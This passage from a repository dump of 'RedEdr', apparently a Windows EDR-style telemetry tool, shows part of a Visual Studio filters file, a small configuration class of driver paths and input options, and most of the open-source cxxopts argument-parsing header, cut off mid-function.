<UniqueIdentifier>{f74d6ae9-c05b-493d-9ee1-76ea79ba0703}</UniqueIdentifier>\n    </Filter>\n    <Filter Include=\"Source Files\\windows\">\n      <UniqueIdentifier>{df7f6388-9e99-46c4-89bf-2a931b922311}</UniqueIdentifier>\n    </Filter>\n    <Filter Include=\"Source Files\\existing\">\n      <UniqueIdentifier>{aac45432-501a-4c40-8440-16c4e8725eb9}</UniqueIdentifier>\n    </Filter>\n  </ItemGroup>\n  <ItemGroup>\n    <ClCompile Include=\"RedEdr.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"config.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"serviceutils.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"webserver.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"etwreader.cpp\">\n      <Filter>Source Files\\input</Filter>\n    </ClCompile>\n    <ClCompile Include=\"dllreader.cpp\">\n      <Filter>Source Files\\input</Filter>\n    </ClCompile>\n    <ClCompile Include=\"kernelreader.cpp\">\n      <Filter>Source Files\\input</Filter>\n    </ClCompile>\n    <ClCompile Include=\"kernelinterface.cpp\">\n      <Filter>Source Files\\input</Filter>\n    </ClCompile>\n    <ClCompile Include=\"pplmanager.cpp\">\n      <Filter>Source Files\\input</Filter>\n    </ClCompile>\n    <ClCompile Include=\"pplreader.cpp\">\n      <Filter>Source Files\\input</Filter>\n    </ClCompile>\n    <ClCompile Include=\"logreader.cpp\">\n      <Filter>Source Files\\input</Filter>\n    </ClCompile>\n    <ClCompile Include=\"manager.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"dllinjector.cpp\">\n      <Filter>Source Files\\windows</Filter>\n    </ClCompile>\n    <ClCompile Include=\"event_aggregator.cpp\">\n      <Filter>Source Files\\process</Filter>\n    </ClCompile>\n    <ClCompile Include=\"event_processor.cpp\">\n      <Filter>Source Files\\process</Filter>\n    </ClCompile>\n    <ClCompile Include=\"event_augmenter.cpp\">\n      <Filter>Source Files\\process</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdrShared\\etw_krabs.cpp\">\n      <Filter>Source Files\\existing</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdrShared\\process_query.cpp\">\n      <Filter>Source Files\\existing</Filter>\n    </ClCompile>\n    <ClCompile Include=\"privileges.cpp\">\n      <Filter>Source Files\\windows</Filter>\n    </ClCompile>\n    <ClCompile Include=\"logging.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdrShared\\piping.cpp\">\n      <Filter>Source Files\\existing</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdrShared\\utils.cpp\">\n      <Filter>Source Files\\existing</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdrShared\\myprocess.cpp\">\n      <Filter>Source Files\\existing</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdrShared\\process_resolver.cpp\">\n      <Filter>Source Files\\existing</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdrShared\\loguru.cpp\">\n      <Filter>Source Files\\existing</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdrShared\\process_mem_static.cpp\">\n      <Filter>Source Files\\existing</Filter>\n    </ClCompile>\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"config.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"serviceutils.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"webserver.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"manager.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"etwreader.h\">\n      <Filter>Header Files\\input</Filter>\n    </ClInclude>\n    <ClInclude Include=\"kernelinterface.h\">\n      <Filter>Header Files\\input</Filter>\n    </ClInclude>\n    <ClInclude Include=\"kernelreader.h\">\n      <Filter>Header Files\\input</Filter>\n    </ClInclude>\n    <ClInclude Include=\"logreader.h\">\n      <Filter>Header Files\\input</Filter>\n    </ClInclude>\n    <ClInclude Include=\"pplreader.h\">\n      <Filter>Header Files\\input</Filter>\n    </ClInclude>\n    <ClInclude Include=\"pplmanager.h\">\n      <Filter>Header Files\\input</Filter>\n    </ClInclude>\n    <ClInclude Include=\"cxxops.hpp\">\n      <Filter>Header Files\\libs</Filter>\n    </ClInclude>\n    <ClInclude Include=\"httplib.h\">\n      <Filter>Header Files\\libs</Filter>\n    </ClInclude>\n    <ClInclude Include=\"dllinjector.h\">\n      <Filter>Header Files\\windows</Filter>\n    </ClInclude>\n    <ClInclude Include=\"event_aggregator.h\">\n      <Filter>Header Files\\process</Filter>\n    </ClInclude>\n    <ClInclude Include=\"event_augmenter.h\">\n      <Filter>Header Files\\process</Filter>\n    </ClInclude>\n    <ClInclude Include=\"event_processor.h\">\n      <Filter>Header Files\\process</Filter>\n    </ClInclude>\n    <ClInclude Include=\"jsonw.hpp\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"dllreader.h\">\n      <Filter>Header Files\\input</Filter>\n    </ClInclude>\n    <ClInclude Include=\"privileges.h\">\n      <Filter>Header Files\\windows</Filter>\n    </ClInclude>\n    <ClInclude Include=\"logging.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"loguru.hpp\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n  </ItemGroup>\n  <ItemGroup>\n    <Text Include=\"index.html\">\n      <Filter>Source Files\\web</Filter>\n    </Text>\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"design.css\">\n      <Filter>Source Files\\web</Filter>\n    </None>\n    <None Include=\"shared.js\">\n      <Filter>Source Files\\web</Filter>\n    </None>\n    <None Include=\"packages.config\" />\n  </ItemGroup>\n</Project>"
  },
  {
    "path": "RedEdr/config.cpp",
    "content": "\n#include \"config.h\"\n\nConfig g_Config;\n"
  },
  {
    "path": "RedEdr/config.h",
    "content": "#pragma once\n#include <windows.h>\n#include <vector>\n#include <string>\n\n\nclass Config {\npublic:\n\tstd::vector<std::string> targetProcessNames = {\"malware\"};\n\tbool debug = false;\n\n\t// Constants\n\tLPCWSTR driverName = L\"RedEdr\";\n\tLPCWSTR driverPath = L\"C:\\\\RedEdr\\\\RedEdrDriver\\\\RedEdrDriver.sys\";\n\tLPCSTR inject_dll_path = \"C:\\\\RedEdr\\\\RedEdrDll.dll\";\n\n\t// Options\n\tbool hide_full_output = false;\n\tbool web_output = false;\n\tbool log_unload = false;\n\tbool do_udllinjection = false;\n\tbool debug_dllreader = false;\n\tbool enable_remote_exec = true;\n\n\t// Input selection\n\tbool do_etw = false;\n\tbool do_etwti = false;\n\tbool do_kernel = false; // kernel module loaded (set by --kernel or --hook)\n\tbool do_hook = false;   // kernel module + DLL injection/hooking (set by --hook)\n\t\n\t// More input\n\tbool do_defendertrace = false;\n\tbool do_antimalwareengine = false;\n\tbool do_dllinjection_ucallstack = true;\n\n\t// ETW input selection\n\tbool etw_standard = true;\n\tbool etw_kernelaudit = true;\n\tbool etw_secaudit = true;\n\tbool etw_defender = false;\n};\n\nextern Config g_Config;\n"
  },
  {
    "path": "RedEdr/cxxops.hpp",
    "content": "/*\n\nCopyright (c) 2014-2022 Jarryd Beck\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n\n*/\n\n// vim: ts=2:sw=2:expandtab\n\n#ifndef CXXOPTS_HPP_INCLUDED\n#define CXXOPTS_HPP_INCLUDED\n\n#include <cstdlib>\n#include <cstring>\n#include <exception>\n#include <limits>\n#include <initializer_list>\n#include <map>\n#include <memory>\n#include <sstream>\n#include <string>\n#include <unordered_map>\n#include <unordered_set>\n#include <utility>\n#include <vector>\n#include <algorithm>\n#include <locale>\n\n#ifdef CXXOPTS_NO_EXCEPTIONS\n#include <iostream>\n#endif\n\n#if defined(__GNUC__) && !defined(__clang__)\n#  if (__GNUC__ * 10 + __GNUC_MINOR__) < 49\n#    define CXXOPTS_NO_REGEX true\n#  endif\n#endif\n#if defined(_MSC_VER) && !defined(__clang__)\n#define CXXOPTS_LINKONCE_CONST\t__declspec(selectany) extern\n#define CXXOPTS_LINKONCE\t\t__declspec(selectany) extern\n#else\n#define CXXOPTS_LINKONCE_CONST\n#define CXXOPTS_LINKONCE\n#endif\n\n#ifndef CXXOPTS_NO_REGEX\n#  include <regex>\n#endif  // CXXOPTS_NO_REGEX\n\n// Nonstandard before C++17, which is coincidentally what we also need for <optional>\n#ifdef __has_include\n#  if __has_include(<optional>)\n#    include <optional>\n#    ifdef __cpp_lib_optional\n#      define CXXOPTS_HAS_OPTIONAL\n#    endif\n#  endif\n#endif\n\n#define CXXOPTS_FALLTHROUGH\n#ifdef __has_cpp_attribute\n#if __has_cpp_attribute(fallthrough)\n#undef CXXOPTS_FALLTHROUGH\n#define CXXOPTS_FALLTHROUGH [[fallthrough]]\n#endif\n#endif\n\n#if __cplusplus >= 201603L\n#define CXXOPTS_NODISCARD [[nodiscard]]\n#else\n#define CXXOPTS_NODISCARD\n#endif\n\n#ifndef CXXOPTS_VECTOR_DELIMITER\n#define CXXOPTS_VECTOR_DELIMITER ','\n#endif\n\n#define CXXOPTS__VERSION_MAJOR 3\n#define CXXOPTS__VERSION_MINOR 2\n#define CXXOPTS__VERSION_PATCH 1\n\n#if (__GNUC__ < 10 || (__GNUC__ == 10 && __GNUC_MINOR__ < 1)) && __GNUC__ >= 6\n#define CXXOPTS_NULL_DEREF_IGNORE\n#endif\n\n#if defined(__GNUC__)\n#define DO_PRAGMA(x) _Pragma(#x)\n#define CXXOPTS_DIAGNOSTIC_PUSH DO_PRAGMA(GCC diagnostic push)\n#define CXXOPTS_DIAGNOSTIC_POP DO_PRAGMA(GCC diagnostic pop)\n#define CXXOPTS_IGNORE_WARNING(x) DO_PRAGMA(GCC diagnostic ignored x)\n#else\n// define other compilers here if needed\n#define CXXOPTS_DIAGNOSTIC_PUSH\n#define CXXOPTS_DIAGNOSTIC_POP\n#define CXXOPTS_IGNORE_WARNING(x)\n#endif\n\n#ifdef CXXOPTS_NO_RTTI\n#define CXXOPTS_RTTI_CAST static_cast\n#else\n#define CXXOPTS_RTTI_CAST dynamic_cast\n#endif\n\nnamespace cxxopts {\n    static constexpr struct {\n        uint8_t major, minor, patch;\n    } version = {\n      CXXOPTS__VERSION_MAJOR,\n      CXXOPTS__VERSION_MINOR,\n      CXXOPTS__VERSION_PATCH\n    };\n} // namespace cxxopts\n\n//when we ask cxxopts to use Unicode, help strings are processed using ICU,\n//which results in the correct lengths being computed for strings when they\n//are formatted for the help output\n//it is necessary to make sure that <unicode/unistr.h> can be found by the\n//compiler, and that icu-uc is linked in to the binary.\n\n#ifdef CXXOPTS_USE_UNICODE\n#include <unicode/unistr.h>\n\nnamespace cxxopts {\n\n    using String = icu::UnicodeString;\n\n    inline\n        String\n        toLocalString(std::string s)\n    {\n        return icu::UnicodeString::fromUTF8(std::move(s));\n    }\n\n    // GNU GCC with -Weffc++ will issue a warning regarding the upcoming class, we want to silence it:\n    // warning: base class 'class std::enable_shared_from_this<cxxopts::Value>' has accessible non-virtual destructor\n    CXXOPTS_DIAGNOSTIC_PUSH\n        CXXOPTS_IGNORE_WARNING(\"-Wnon-virtual-dtor\")\n        // This will be ignored under other compilers like LLVM clang.\n        class UnicodeStringIterator\n    {\n    public:\n\n        using iterator_category = std::forward_iterator_tag;\n        using value_type = int32_t;\n        using difference_type = std::ptrdiff_t;\n        using pointer = value_type*;\n        using reference = value_type&;\n\n        UnicodeStringIterator(const icu::UnicodeString* string, int32_t pos)\n            : s(string)\n            , i(pos)\n        {\n        }\n\n        value_type\n            operator*() const\n        {\n            return s->char32At(i);\n        }\n\n        bool\n            operator==(const UnicodeStringIterator& rhs) const\n        {\n            return s == rhs.s && i == rhs.i;\n        }\n\n        bool\n            operator!=(const UnicodeStringIterator& rhs) const\n        {\n            return !(*this == rhs);\n        }\n\n        UnicodeStringIterator&\n            operator++()\n        {\n            ++i;\n            return *this;\n        }\n\n        UnicodeStringIterator\n            operator+(int32_t v)\n        {\n            return UnicodeStringIterator(s, i + v);\n        }\n\n    private:\n        const icu::UnicodeString* s;\n        int32_t i;\n    };\n    CXXOPTS_DIAGNOSTIC_POP\n\n        inline\n        String&\n        stringAppend(String& s, String a)\n    {\n        return s.append(std::move(a));\n    }\n\n    inline\n        String&\n        stringAppend(String& s, std::size_t n, UChar32 c)\n    {\n        for (std::size_t i = 0; i != n; ++i)\n        {\n            s.append(c);\n        }\n\n        return s;\n    }\n\n    template <typename Iterator>\n    String&\n        stringAppend(String& s, Iterator begin, Iterator end)\n    {\n        while (begin != end)\n        {\n            s.append(*begin);\n            ++begin;\n        }\n\n        return s;\n    }\n\n    inline\n        size_t\n        stringLength(const String& s)\n    {\n        return static_cast<size_t>(s.length());\n    }\n\n    inline\n        std::string\n        toUTF8String(const String& s)\n    {\n        std::string result;\n        s.toUTF8String(result);\n\n        return result;\n    }\n\n    inline\n        bool\n        empty(const String& s)\n    {\n        return s.isEmpty();\n    }\n\n} // namespace cxxopts\n\nnamespace std {\n\n    inline\n        cxxopts::UnicodeStringIterator\n        begin(const icu::UnicodeString& s)\n    {\n        return cxxopts::UnicodeStringIterator(&s, 0);\n    }\n\n    inline\n        cxxopts::UnicodeStringIterator\n        end(const icu::UnicodeString& s)\n    {\n        return cxxopts::UnicodeStringIterator(&s, s.length());\n    }\n\n} // namespace std\n\n//ifdef CXXOPTS_USE_UNICODE\n#else\n\nnamespace cxxopts {\n\n    using String = std::string;\n\n    template <typename T>\n    T\n        toLocalString(T&& t)\n    {\n        return std::forward<T>(t);\n    }\n\n    inline\n        std::size_t\n        stringLength(const String& s)\n    {\n        return s.length();\n    }\n\n    inline\n        String&\n        stringAppend(String& s, const String& a)\n    {\n        return s.append(a);\n    }\n\n    inline\n        String&\n        stringAppend(String& s, std::size_t n, char c)\n    {\n        return s.append(n, c);\n    }\n\n    template <typename Iterator>\n    String&\n        stringAppend(String& s, Iterator begin, Iterator end)\n    {\n        return s.append(begin, end);\n    }\n\n    template <typename T>\n    std::string\n        toUTF8String(T&& t)\n    {\n        return std::forward<T>(t);\n    }\n\n    inline\n        bool\n        empty(const std::string& s)\n    {\n        return s.empty();\n    }\n\n} // namespace cxxopts\n\n//ifdef CXXOPTS_USE_UNICODE\n#endif\n\nnamespace cxxopts {\n\n    namespace {\n        CXXOPTS_LINKONCE_CONST std::string LQUOTE(\"\\'\");\n        CXXOPTS_LINKONCE_CONST std::string RQUOTE(\"\\'\");\n    } // namespace\n\n    // GNU GCC with -Weffc++ will issue a warning regarding the upcoming class, we\n    // want to silence it: warning: base class 'class\n    // std::enable_shared_from_this<cxxopts::Value>' has accessible non-virtual\n    // destructor This will be ignored under other compilers like LLVM clang.\n    CXXOPTS_DIAGNOSTIC_PUSH\n        CXXOPTS_IGNORE_WARNING(\"-Wnon-virtual-dtor\")\n\n        // some older versions of GCC warn under this warning\n        CXXOPTS_IGNORE_WARNING(\"-Weffc++\")\n        class Value : public std::enable_shared_from_this<Value>\n    {\n    public:\n\n        virtual ~Value() = default;\n\n        virtual\n            std::shared_ptr<Value>\n            clone() const = 0;\n\n        virtual void\n            add(const std::string& text) const = 0;\n\n        virtual void\n            parse(const std::string& text) const = 0;\n\n        virtual void\n            parse() const = 0;\n\n        virtual bool\n            has_default() const = 0;\n\n        virtual bool\n            is_container() const = 0;\n\n        virtual bool\n            has_implicit() const = 0;\n\n        virtual std::string\n            get_default_value() const = 0;\n\n        virtual std::string\n            get_implicit_value() const = 0;\n\n        virtual std::shared_ptr<Value>\n            default_value(const std::string& value) = 0;\n\n        virtual std::shared_ptr<Value>\n            implicit_value(const std::string& value) = 0;\n\n        virtual std::shared_ptr<Value>\n            no_implicit_value() = 0;\n\n        virtual bool\n            is_boolean() const = 0;\n    };\n\n    CXXOPTS_DIAGNOSTIC_POP\n\n        namespace exceptions {\n\n        class exception : public std::exception\n        {\n        public:\n            explicit exception(std::string  message)\n                : m_message(std::move(message))\n            {\n            }\n\n            CXXOPTS_NODISCARD\n                const char*\n                what() const noexcept override\n            {\n                return m_message.c_str();\n            }\n\n        private:\n            std::string m_message;\n        };\n\n        class specification : public exception\n        {\n        public:\n\n            explicit specification(const std::string& message)\n                : exception(message)\n            {\n            }\n        };\n\n        class parsing : public exception\n        {\n        public:\n            explicit parsing(const std::string& message)\n                : exception(message)\n            {\n            }\n        };\n\n        class option_already_exists : public specification\n        {\n        public:\n            explicit option_already_exists(const std::string& option)\n                : specification(\"Option \" + LQUOTE + option + RQUOTE + \" already exists\")\n            {\n            }\n        };\n\n        class invalid_option_format : public specification\n        {\n        public:\n            explicit invalid_option_format(const std::string& format)\n                : specification(\"Invalid option format \" + LQUOTE + format + RQUOTE)\n            {\n            }\n        };\n\n        class invalid_option_syntax : public parsing {\n        public:\n            explicit invalid_option_syntax(const std::string& text)\n                : parsing(\"Argument \" + LQUOTE + text + RQUOTE +\n                    \" starts with a - but has incorrect syntax\")\n            {\n            }\n        };\n\n        class no_such_option : public parsing\n        {\n        public:\n            explicit no_such_option(const std::string& option)\n                : parsing(\"Option \" + LQUOTE + option + RQUOTE + \" does not exist\")\n            {\n            }\n        };\n\n        class missing_argument : public parsing\n        {\n        public:\n            explicit missing_argument(const std::string& option)\n                : parsing(\n                    \"Option \" + LQUOTE + option + RQUOTE + \" is missing an argument\"\n                )\n            {\n            }\n        };\n\n        class option_requires_argument : public parsing\n        {\n        public:\n            explicit option_requires_argument(const std::string& option)\n                : parsing(\n                    \"Option \" + LQUOTE + option + RQUOTE + \" requires an argument\"\n                )\n            {\n            }\n        };\n\n        class gratuitous_argument_for_option : public parsing\n        {\n        public:\n            gratuitous_argument_for_option\n            (\n                const std::string& option,\n                const std::string& arg\n            )\n                : parsing(\n                    \"Option \" + LQUOTE + option + RQUOTE +\n                    \" does not take an argument, but argument \" +\n                    LQUOTE + arg + RQUOTE + \" given\"\n                )\n            {\n            }\n        };\n\n        class requested_option_not_present : public parsing\n        {\n        public:\n            explicit requested_option_not_present(const std::string& option)\n                : parsing(\"Option \" + LQUOTE + option + RQUOTE + \" not present\")\n            {\n            }\n        };\n\n        class option_has_no_value : public exception\n        {\n        public:\n            explicit option_has_no_value(const std::string& option)\n                : exception(\n                    !option.empty() ?\n                    (\"Option \" + LQUOTE + option + RQUOTE + \" has no value\") :\n                    \"Option has no value\")\n            {\n            }\n        };\n\n        class incorrect_argument_type : public parsing\n        {\n        public:\n            explicit incorrect_argument_type\n            (\n                const std::string& arg\n            )\n                : parsing(\n                    \"Argument \" + LQUOTE + arg + RQUOTE + \" failed to parse\"\n                )\n            {\n            }\n        };\n\n    } // namespace exceptions\n\n\n    template <typename T>\n    void throw_or_mimic(const std::string& text)\n    {\n        static_assert(std::is_base_of<std::exception, T>::value,\n            \"throw_or_mimic only works on std::exception and \"\n            \"deriving classes\");\n\n#ifndef CXXOPTS_NO_EXCEPTIONS\n        // If CXXOPTS_NO_EXCEPTIONS is not defined, just throw\n        throw T{ text };\n#else\n        // Otherwise manually instantiate the exception, print what() to stderr,\n        // and exit\n        T exception{ text };\n        std::cerr << exception.what() << std::endl;\n        std::exit(EXIT_FAILURE);\n#endif\n    }\n\n    using OptionNames = std::vector<std::string>;\n\n    namespace values {\n\n        namespace parser_tool {\n\n            struct IntegerDesc\n            {\n                std::string negative = \"\";\n                std::string base = \"\";\n                std::string value = \"\";\n            };\n            struct ArguDesc {\n                std::string arg_name = \"\";\n                bool        grouping = false;\n                bool        set_value = false;\n                std::string value = \"\";\n            };\n\n#ifdef CXXOPTS_NO_REGEX\n            inline IntegerDesc SplitInteger(const std::string& text)\n            {\n                if (text.empty())\n                {\n                    throw_or_mimic<exceptions::incorrect_argument_type>(text);\n                }\n                IntegerDesc desc;\n                const char* pdata = text.c_str();\n                if (*pdata == '-')\n                {\n                    pdata += 1;\n                    desc.negative = \"-\";\n                }\n                if (strncmp(pdata, \"0x\", 2) == 0)\n                {\n                    pdata += 2;\n                    desc.base = \"0x\";\n                }\n                if (*pdata != '\\0')\n                {\n                    desc.value = std::string(pdata);\n                }\n                else\n                {\n                    throw_or_mimic<exceptions::incorrect_argument_type>(text);\n                }\n                return desc;\n            }\n\n            inline bool IsTrueText(const std::string& text)\n            {\n                const char* pdata = text.c_str();\n                if (*pdata == 't' || *pdata == 'T')\n                {\n                    pdata += 1;\n                    if (strncmp(pdata, \"rue\\0\", 4) == 0)\n                    {\n                        return true;\n                    }\n                }\n                else if (strncmp(pdata, \"1\\0\", 2) == 0)\n                {\n                    return true;\n                }\n                return false;\n            }\n\n            inline bool IsFalseText(const std::string& text)\n            {\n                const char* pdata = text.c_str();\n                if (*pdata == 'f' || *pdata == 'F')\n                {\n                    pdata += 1;\n                    if (strncmp(pdata, \"alse\\0\", 5) == 0)\n                    {\n                        return true;\n                    }\n                }\n                else if (strncmp(pdata, \"0\\0\", 2) == 0)\n                {\n                    return true;\n                }\n                return false;\n            }\n\n            inline OptionNames split_option_names(const std::string& text)\n            {\n                OptionNames split_names;\n\n                std::string::size_type token_start_pos = 0;\n                auto length = text.length();\n\n                if (length == 0)\n                {\n                    throw_or_mimic<exceptions::invalid_option_format>(text);\n                }\n\n                while (token_start_pos < length) {\n                    const auto& npos = std::string::npos;\n                    auto next_non_space_pos = text.find_first_not_of(' ', token_start_pos);\n                    if (next_non_space_pos == npos) {\n                        throw_or_mimic<exceptions::invalid_option_format>(text);\n                    }\n                    token_start_pos = next_non_space_pos;\n                    auto next_delimiter_pos = text.find(',', token_start_pos);\n                    if (next_delimiter_pos == token_start_pos) {\n                        throw_or_mimic<exceptions::invalid_option_format>(text);\n                    }\n                    if (next_delimiter_pos == npos) {\n                        next_delimiter_pos = length;\n                    }\n                    auto token_length = next_delimiter_pos - token_start_pos;\n                    // validate the token itself matches the regex /([:alnum:][-_[:alnum:]]*/\n                    {\n                        const char* option_name_valid_chars =\n                            \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n                            \"abcdefghijklmnopqrstuvwxyz\"\n                            \"0123456789\"\n                            \"_-.?\";\n\n                        if (!std::isalnum(text[token_start_pos], std::locale::classic()) ||\n                            text.find_first_not_of(option_name_valid_chars, token_start_pos) < next_delimiter_pos) {\n                            throw_or_mimic<exceptions::invalid_option_format>(text);\n                        }\n                    }\n                    split_names.emplace_back(text.substr(token_start_pos, token_length));\n                    token_start_pos = next_delimiter_pos + 1;\n                }\n                return split_names;\n            }\n\n            inline ArguDesc ParseArgument(const char* arg, bool& matched)\n            {\n                ArguDesc argu_desc;\n                const char* pdata = arg;\n                matched = false;\n                if (strncmp(pdata, \"--\", 2) == 0)\n                {\n                    pdata += 2;\n                    if (isalnum(*pdata, std::locale::classic()))\n                    {\n                        argu_desc.arg_name.push_back(*pdata);\n                        pdata += 1;\n                        while (isalnum(*pdata, std::locale::classic()) || *pdata == '-' || *pdata == '_')\n                        {\n                            argu_desc.arg_name.push_back(*pdata);\n                            pdata += 1;\n                        }\n                        if (argu_desc.arg_name.length() > 1)\n                        {\n                            if (*pdata == '=')\n                            {\n                                argu_desc.set_value = true;\n                                pdata += 1;\n                                if (*pdata != '\\0')\n                                {\n                                    argu_desc.value = std::string(pdata);\n                                }\n                                matched = true;\n                            }\n                            else if (*pdata == '\\0')\n                            {\n                                matched = true;\n                            }\n                        }\n                    }\n                }\n                else if (strncmp(pdata, \"-\", 1) == 0)\n                {\n                    pdata += 1;\n                    argu_desc.grouping = true;\n                    while (isalnum(*pdata, std::locale::classic()))\n                    {\n                        argu_desc.arg_name.push_back(*pdata);\n                        pdata += 1;\n                    }\n                    matched = !argu_desc.arg_name.empty() && *pdata == '\\0';\n                }\n                return argu_desc;\n            }\n\n#else  // CXXOPTS_NO_REGEX\n\n            namespace {\n                CXXOPTS_LINKONCE\n                    const char* const integer_pattern =\n                    \"(-)?(0x)?([0-9a-zA-Z]+)|((0x)?0)\";\n                CXXOPTS_LINKONCE\n                    const char* const truthy_pattern =\n                    \"(t|T)(rue)?|1\";\n                CXXOPTS_LINKONCE\n                    const char* const falsy_pattern =\n                    \"(f|F)(alse)?|0\";\n                CXXOPTS_LINKONCE\n                    const char* const option_pattern =\n                    \"--([[:alnum:]][-_[:alnum:]\\\\.]+)(=(.*))?|-([[:alnum:]].*)\";\n                CXXOPTS_LINKONCE\n                    const char* const option_specifier_pattern =\n                    \"([[:alnum:]][-_[:alnum:]\\\\.]*)(,[ ]*[[:alnum:]][-_[:alnum:]]*)*\";\n                CXXOPTS_LINKONCE\n                    const char* const option_specifier_separator_pattern = \", *\";\n\n            } // namespace\n\n            inline IntegerDesc SplitInteger(const std::string& text)\n            {\n                static const std::basic_regex<char> integer_matcher(integer_pattern);\n\n                std::smatch match;\n                std::regex_match(text, match, integer_matcher);\n\n                if (match.length() == 0)\n                {\n                    throw_or_mimic<exceptions::incorrect_argument_type>(text);\n                }\n\n                IntegerDesc desc;\n                desc.negative = match[1];\n                desc.base = match[2];\n                desc.value = match[3];\n\n                if (match.length(4) > 0)\n                {\n                    desc.base = match[5];\n                    desc.value = \"0\";\n                    return desc;\n                }\n\n                return desc;\n            }\n\n            inline bool IsTrueText(const std::string& text)\n            {\n                static const std::basic_regex<char> truthy_matcher(truthy_pattern);\n                std::smatch result;\n                std::regex_match(text, result, truthy_matcher);\n                return !result.empty();\n            }\n\n            inline bool IsFalseText(const std::string& text)\n            {\n                static const std::basic_regex<char> falsy_matcher(falsy_pattern);\n                std::smatch result;\n                std::regex_match(text, result, falsy_matcher);\n                return !result.empty();\n            }\n\n            // Gets the option names specified via a single, comma-separated string,\n            // and returns the separate, space-discarded, non-empty names\n            // (without considering which or how many are single-character)\n            inline OptionNames split_option_names(const std::string& text)\n            {\n                static const std::basic_regex<char> option_specifier_matcher(option_specifier_pattern);\n                if (!std::regex_match(text.c_str(), option_specifier_matcher))\n                {\n                    throw_or_mimic<exceptions::invalid_option_format>(text);\n                }\n\n                OptionNames split_names;\n\n                static const std::basic_regex<char> option_specifier_separator_matcher(option_specifier_separator_pattern);\n                constexpr int use_non_matches{ -1 };\n                auto token_iterator = std::sregex_token_iterator(\n                    text.begin(), text.end(), option_specifier_separator_matcher, use_non_matches);\n                std::copy(token_iterator, std::sregex_token_iterator(), std::back_inserter(split_names));\n                return split_names;\n            }\n\n            inline ArguDesc ParseArgument(const char* arg, bool& matched)\n            {\n                static const std::basic_regex<char> option_matcher(option_pattern);\n                std::match_results<const char*> result;\n                std::regex_match(arg, result, option_matcher);\n                matched = !result.empty();\n\n                ArguDesc argu_desc;\n                if (matched) {\n                    argu_desc.arg_name = result[1].str();\n                    argu_desc.set_value = result[2].length() > 0;\n                    argu_desc.value = result[3].str();\n                    if (result[4].length() > 0)\n                    {\n                        argu_desc.grouping = true;\n                        argu_desc.arg_name = result[4].str();\n                    }\n                }\n\n                return argu_desc;\n            }\n\n#endif  // CXXOPTS_NO_REGEX\n#undef CXXOPTS_NO_REGEX\n        } // namespace parser_tool\n\n        namespace detail {\n\n            template <typename T, bool B>\n            struct SignedCheck;\n\n            template <typename T>\n            struct SignedCheck<T, true>\n            {\n                template <typename U>\n                void\n                    operator()(bool negative, U u, const std::string& text)\n                {\n                    if (negative)\n                    {\n                        if (u > static_cast<U>((std::numeric_limits<T>::min)()))\n                        {\n                            throw_or_mimic<exceptions::incorrect_argument_type>(text);\n                        }\n                    }\n                    else\n                    {\n                        if (u > static_cast<U>((std::numeric_limits<T>::max)()))\n                        {\n                            throw_or_mimic<exceptions::incorrect_argument_type>(text);\n                        }\n                    }\n                }\n            };\n\n            template <typename T>\n            struct SignedCheck<T, false>\n            {\n                template <typename U>\n                void\n                    operator()(bool, U, const std::string&) const {}\n            };\n\n            template <typename T, typename U>\n            void\n                check_signed_range(bool negative, U value, const std::string& text)\n            {\n                SignedCheck<T, std::numeric_limits<T>::is_signed>()(negative, value, text);\n            }\n\n        } // namespace detail\n\n        template <typename R, typename T>\n        void\n            checked_negate(R& r, T&& t, const std::string&, std::true_type)\n        {\n            // if we got to here, then `t` is a positive number that fits into\n            // `R`. So to avoid MSVC C4146, we first cast it to `R`.\n            // See https://github.com/jarro2783/cxxopts/issues/62 for more details.\n            r = static_cast<R>(-static_cast<R>(t - 1) - 1);\n        }\n\n        template <typename R, typename T>\n        void\n            checked_negate(R&, T&&, const std::string& text, std::false_type)\n        {\n            throw_or_mimic<exceptions::incorrect_argument_type>(text);\n        }\n\n        template <typename T>\n        void\n            integer_parser(const std::string& text, T& value)\n        {\n            parser_tool::IntegerDesc int_desc = 